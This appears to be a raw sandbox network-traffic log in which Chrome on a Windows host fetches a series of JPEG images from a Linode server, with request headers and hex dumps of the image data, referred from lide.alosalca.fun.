2024-04-25 19:45:03 UTC	590	OUT	GET /apr2/1tuBZA2dQ2OZnL64 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:03 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:03 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:03 UTC	5789	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 2b 01 b5 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC+"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49747	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:03 UTC	384	OUT	GET /apr1/K7oawgiQZGO729O3 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:04 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:03 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:04 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 b3 02 61 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCa"}!1AQa"q
2024-04-25 19:45:04 UTC	4549	IN	Data Raw: 7f a8 da 59 5c df ca 60 b3 86 e2 0d 0a 31 30 30 30 0d 0a 75 8d ee 64 0a 58 a4 60 9c bb 60 13 81 93 80 4d 67 68 df 10 bc 2b e2 2d 62 eb 48 d2 7c 4d a3 ea 9a ad ae 7e d1 63 67 7f 14 d3 c3 83 83 be 35 62 cb 83 ea 2b c5 7f 6a df 0f c3 e2 af 1a fc 13 d2 6e 66 9a 1b 6b af 13 3a 4c 6d e4 68 dd a3 fb 2c a5 93 72 90 40 60 0a 9c 1e 8c 6b 17 f6 90 f8 6d e1 4f 86 72 7c 32 f1 47 84 fc 39 a5 f8 73 59 b1 f1 66 9f 65 1d c6 95 69 1d b1 78 26 73 1c 91 be c0 37 29 53 df 3f a9 aa b0 ae 7d 2a da f6 98 ba d2 68 ed a8 da 2e ae f0 1b 95 b0 33 af 9e d1 03 b4 c8 23 ce e2 a0 90 37 63 19 a4 bb f1 0e 97 a7 ea d6 3a 5d d6 a5 67 6d a9 df 07 36 96 53 4e 89 35 c0 41 97 31 a1 39 7d a3 93 80 71 de bc 6f 51 91 57 f6 d2 d1 94 b0 0c de 0a b8 c2 e7 93 8b b4 aa 9f 16 88 ff 00 86 ae f8 20 33 cf Data Ascii: Y\`1000udX``Mgh+-bH\|M~cg5b+jnfk:Lmh,r@`kmOr\|2G9sYfeix&s7)S?}*h.3#7c:]gm6SN5A19}qoQW 3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49749	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:06 UTC	384	OUT	GET /apr2/1tuBZA2dQ2OZnL64 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:06 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:06 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:06 UTC	5789	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 2b 01 b5 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC+"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49748	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:06 UTC	590	OUT	GET /apr3/bG8Q1jdDmyJZjsDO HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:06 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:06 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:06 UTC	9612	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 39 02 1e 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCC9"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49750	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:07 UTC	590	OUT	GET /cncl/8s3ZmRtEUbi2xSck HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:07 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:07 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:07 UTC	1512	IN	Data Raw: 35 64 63 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 22 00 42 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: 5dcJFIFxxCC"B"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49751	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:08 UTC	590	OUT	GET /cant/a5JKagtUoTXfGwZT HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:09 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:09 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:09 UTC	6573	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 3f 01 68 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC?h"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49754	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:09 UTC	589	OUT	GET /enc/us9SPB7nWOX2ro45 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:10 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:09 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:10 UTC	16195	IN	Data Raw: 34 30 33 32 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 90 02 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 4032JFIFxxCC"}!1AQa"q
2024-04-25 19:45:10 UTC	252	IN	Data Raw: c0 cd 17 03 2b c1 7f 12 bc 33 f1 12 4d 6a 3f 0e 6a f0 ea af a2 df 49 a6 ea 02 10 c3 c8 b8 4f bd 19 c8 19 c6 7a 8c 8f 7a e9 ab 3f 49 f0 fe 97 a0 9b b3 a6 69 b6 7a 71 bc 9d ae ae 7e c9 02 45 e7 4c df 7a 47 da 06 e6 38 19 63 c9 ad 0a 43 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 3f ff d9 0d 0a 30 0d 0a 0d 0a Data Ascii: +3Mj?jIOzz?Iizq~ELzG8cC(((((((((((((((((((((((((((((((((((((((((?0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49755	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:09 UTC	384	OUT	GET /apr3/bG8Q1jdDmyJZjsDO HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:09 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:09 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:09 UTC	9605	IN	Data Raw: 32 35 37 38 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 39 02 1e 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 2578JFIFxxCC9"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49757	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:09 UTC	384	OUT	GET /cncl/8s3ZmRtEUbi2xSck HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:10 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:09 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:10 UTC	1512	IN	Data Raw: 35 64 63 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 22 00 42 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: 5dcJFIFxxCC"B"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49756	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:09 UTC	384	OUT	GET /cant/a5JKagtUoTXfGwZT HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:10 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:09 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:10 UTC	6573	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 3f 01 68 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC?h"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49758	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:10 UTC	589	OUT	GET /emr/NVljaT1j0fUxaLat HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:11 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:10 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:11 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 66 02 ef 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCf"}!1AQa"q
2024-04-25 19:45:11 UTC	726	IN	Data Raw: f8 44 ef a0 92 c2 79 84 86 25 8e 0d 0a 32 62 64 0d 0a 4c b1 5d ce 3a 0c ba 9f a0 3e 95 db 8f d8 c7 e1 4b 20 71 a4 dd 14 c6 77 7f 68 4b 8c 7a fd ea f5 7f 1a f8 1f 43 f8 89 a0 4d a3 78 82 c2 3d 47 4f 94 86 31 b9 20 ab 0e 8c ac 08 2a c3 d4 1a f2 7b 6f d8 ef c2 30 c6 b6 b2 eb de 2b bb d2 14 f1 a4 4d aa ff 00 a2 ed fe ee d5 40 71 f8 d4 ca 8f be e5 c8 a5 7e e7 4e 1f 3b e6 c1 d1 a3 f5 ba 94 1d 34 d5 a2 9b 52 57 6d 3d 25 1b 4b 5b 3b e8 f4 d4 d1 f1 e7 83 34 2f 00 fe cc de 2c d2 3c 34 bb 74 74 d2 ee a5 87 f7 c6 60 77 82 c4 86 24 e4 64 9a dc fd 9b d4 2f c0 bf 05 00 00 1f d9 e8 78 fa 9a e9 75 8f 87 fa 4e ad e0 1b 9f 07 2a 4b 63 a2 cd 64 74 f0 b6 af f3 c5 16 dd a0 29 60 dc 81 dc 83 56 7c 13 e1 2b 3f 01 f8 4f 4b f0 fd 84 93 cd 65 a7 c2 20 8a 4b 96 0d 23 28 ee c4 00 33 Data Ascii: Dy%2bdL]:>K qwhKzCMx=GO1 {o0+M@q~N;4RWm=%K[;4/,<4tt`w$d/xuNKcdt)`V\|+?OKe K#(3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49761	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
